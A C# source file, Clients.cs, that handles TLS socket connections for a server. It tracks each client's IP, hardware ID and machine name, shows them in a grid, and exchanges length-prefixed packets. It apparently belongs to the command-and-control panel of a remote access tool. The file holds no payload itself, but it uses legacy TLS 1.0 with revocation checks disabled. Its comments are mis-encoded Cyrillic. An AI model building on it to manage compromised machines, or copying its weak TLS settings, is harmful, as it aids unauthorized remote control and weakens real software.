// --- ÍÀ×ÀËÎ ÔÀÉËÀ Clients.cs ---

using System;
using System.Drawing;
using System.IO;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Windows.Forms;
using Leb128;
using Server.Connectings.Events;
using Server.Data;
using Server.Helper;
using Server.Messages;

namespace Server.Connectings;

public class Clients
{
    public delegate void Delegate1();

    public delegate void Delegate(long bytes);

    public Delegate Sents;

    public Delegate Recevied;

    private byte[] ClientBuffer { get; set; }

    private int HeaderSize { get; set; }

    private int Offset { get; set; }

    private bool ClientBufferRecevied { get; set; }

    private object SendSync { get; set; }

    private SslStream SslClient { get; set; }

    public LastPing lastPing { get; set; }

    public Socket Tcp { get; private set; }

    public string IP { get; private set; }

    public bool itsConnect { get; private set; }

    public bool Auth { get; private set; }

    public string Hwid { get; set; }

    public string UserMachine { get; set; }

    public object Tag { get; set; }

    public Clients ReportWindow { get; set; }

    public bool HasCompletedHandshake { get; set; }

    public event EventHandler<EventDisconnect> eventDisconnect;

    public Clients(Socket Tcp)
    {
        itsConnect = true;
        this.Tcp = Tcp;
        SslClient = new SslStream(new NetworkStream(Tcp, ownsSocket: true), leaveInnerStreamOpen: false);
        SslClient.BeginAuthenticateAsServer(Certificate.certificate, clientCertificateRequired: false, SslProtocols.Tls, checkCertificateRevocation: false, EndAuthenticate, null);
        IP = this.Tcp.RemoteEndPoint.ToString().Split(':')[0];
        SendSync = new object();
        lastPing = new LastPing(this);
        this.HasCompletedHandshake = false;

        ConsoleLogger.LogClient($"New client connection from {IP} - Starting SSL authentication");
    }

    private void EndAuthenticate(IAsyncResult ar)
    {
        try
        {
            SslClient.EndAuthenticateAsServer(ar);
            Offset = 0;
            HeaderSize = 4;
            ClientBuffer = new byte[HeaderSize];
            Auth = true;
            SocketData.ConnectsPluse();
            SslClient.BeginRead(ClientBuffer, Offset, HeaderSize, ReadData, null);
            ConsoleLogger.LogSuccess($"SSL authentication completed for client {IP}");
        }
        catch (Exception ex)
        {
            ConsoleLogger.LogError($"SSL authentication failed for client {IP}: {ex.Message}");
            Disconnect();
        }
    }

    public void Disconnect()
    {
        if (!itsConnect)
        {
            return;
        }
        if (Auth)
        {
            SocketData.ConnectsMinuse();
        }
        if (this.eventDisconnect != null)
        {
            this.eventDisconnect(this, new EventDisconnect
            {
                clients = this
            });
        }
        itsConnect = false;
        ClientBuffer = null;
        HeaderSize = 0;
        Offset = 0;
        Tcp?.Dispose();
        SslClient?.Dispose();
        lastPing?.Disconnect();
        if (Tag != null && Tag is DataGridViewRow)
        {
            DataGridViewRow row = (DataGridViewRow)Tag;
            DataGridView datagrid = row.DataGridView;
            if (row.Cells.Count > 12)
            {
                Methods.AppendLogs("Client " + IP + " " + UserMachine + " " + Hwid, "Disconnect", Color.Red);
                ConsoleLogger.LogClient($"Client disconnected: {IP} ({UserMachine}) HWID: {Hwid}");
            }
            else
            {
                ConsoleLogger.LogClient($"Client disconnected: {IP}");
            }
            if (datagrid != null)
            {
                datagrid.Invoke((MethodInvoker)delegate
                {
                    datagrid.Rows.Remove(row);
                });
            }
            row.Dispose();
        }
        else
        {
            ConsoleLogger.LogClient($"Client disconnected: {IP}");
        }
        if (ReportWindow != null)
        {
            ReportWindow.Disconnect();
        }
    }

    private void ReadData(IAsyncResult ar)
    {
        if (!itsConnect)
        {
            return;
        }
        try
        {
            int num = SslClient.EndRead(ar);
            if (num > 0)
            {
                if (Recevied != null)
                {
                    Recevied(num);
                }
                SocketData.ReciveData(num);
                HeaderSize -= num;
                Offset += num;
                if (lastPing != null)
                {
                    lastPing.Last();
                }
                if (!ClientBufferRecevied)
                {
                    if (HeaderSize == 0)
                    {
                        HeaderSize = BitConverter.ToInt32(ClientBuffer, 0);
                        if (HeaderSize > 0)
                        {
                            ClientBuffer = new byte[HeaderSize];
                            Offset = 0;
                            ClientBufferRecevied = true;
                        }
                    }
                    else if (HeaderSize < 0)
                    {
                        ConsoleLogger.LogError($"Invalid header size received from {IP}: {HeaderSize}");
                        Disconnect();
                        return;
                    }
                }
                else if (HeaderSize == 0)
                {
                    new Packet().Read(this, ClientBuffer);
                    Offset = 0;
                    HeaderSize = 4;
                    ClientBuffer = new byte[HeaderSize];
                    ClientBufferRecevied = false;
                }
                else if (HeaderSize < 0)
                {
                    ConsoleLogger.LogError($"Invalid data size received from {IP}: {HeaderSize}");
                    Disconnect();
                    return;
                }
                SslClient.BeginRead(ClientBuffer, Offset, HeaderSize, ReadData, null);
            }
            else
            {
                ConsoleLogger.LogWarning($"Client {IP} closed connection");
                Disconnect();
            }
        }
        catch (Exception ex) // ÂÎÒ ÈÇÌÅÍÅÍÍÛÉ ÁËÎÊ
        {
            ConsoleLogger.LogError($"Error with client {IP} ({ex.GetType().Name}). Connection was likely closed unexpectedly.");
            Disconnect();
        }
    }

    public void Send(object[] Data)
    {
        Send(LEB128.Write(Data));
    }

    public void Send(byte[] Data)
    {
        if (!itsConnect)
        {
            return;
        }
        lock (SendSync)
        {
            try
            {
                byte[] bytes = BitConverter.GetBytes(Data.Length);
                byte[] array = new byte[4 + Data.Length];
                Array.Copy(bytes, 0, array, 0, bytes.Length);
                Array.Copy(Data, 0, array, 4, Data.Length);
                Tcp.Poll(-1, SelectMode.SelectWrite);
                SslClient.Write(array, 0, array.Length);
                SslClient.Flush();
                if (Sents != null)
                {
                    Sents(array.Length);
                }
                SocketData.SentData(array.Length);

                if (array.Length > 1024)
                {
                    ConsoleLogger.LogNetwork($"Sent {array.Length} bytes to {IP}");
                }
            }
            catch (Exception ex)
            {
                ConsoleLogger.LogError($"Error sending data to {IP}: {ex.Message}");
                Disconnect();
            }
        }
    }

    public void SendChunk(object[] Data)
    {
        Send(LEB128.Write(Data));
    }

    public void SendChunk(byte[] Data)
    {
        if (!itsConnect)
        {
            return;
        }
        lock (SendSync)
        {
            try
            {
                if (Data.Length < 16384)
                {
                    Send(Data);
                    return;
                }
                byte[] bytes = BitConverter.GetBytes(Data.Length);
                byte[] array = new byte[4 + Data.Length];
                Array.Copy(bytes, 0, array, 0, bytes.Length);
                Array.Copy(Data, 0, array, 4, Data.Length);
                using MemoryStream memoryStream = new MemoryStream(array);
                memoryStream.Position = 0L;
                byte[] array2 = new byte[16384];
                int num;
                int totalSent = 0;
                while ((num = memoryStream.Read(array2, 0, array2.Length)) > 0)
                {
                    Tcp.Poll(-1, SelectMode.SelectWrite);
                    SslClient.Write(array2, 0, num);
                    SslClient.Flush();
                    if (Sents != null)
                    {
                        Sents(num);
                    }
                    totalSent += num;
                }
                ConsoleLogger.LogNetwork($"Sent chunked data {totalSent} bytes to {IP}");
            }
            catch (Exception ex)
            {
                ConsoleLogger.LogError($"Error sending chunked data to {IP}: {ex.Message}");
                Disconnect();
            }
        }
    }
}

// --- ÊÎÍÅÖ ÔÀÉËÀ Clients.cs ---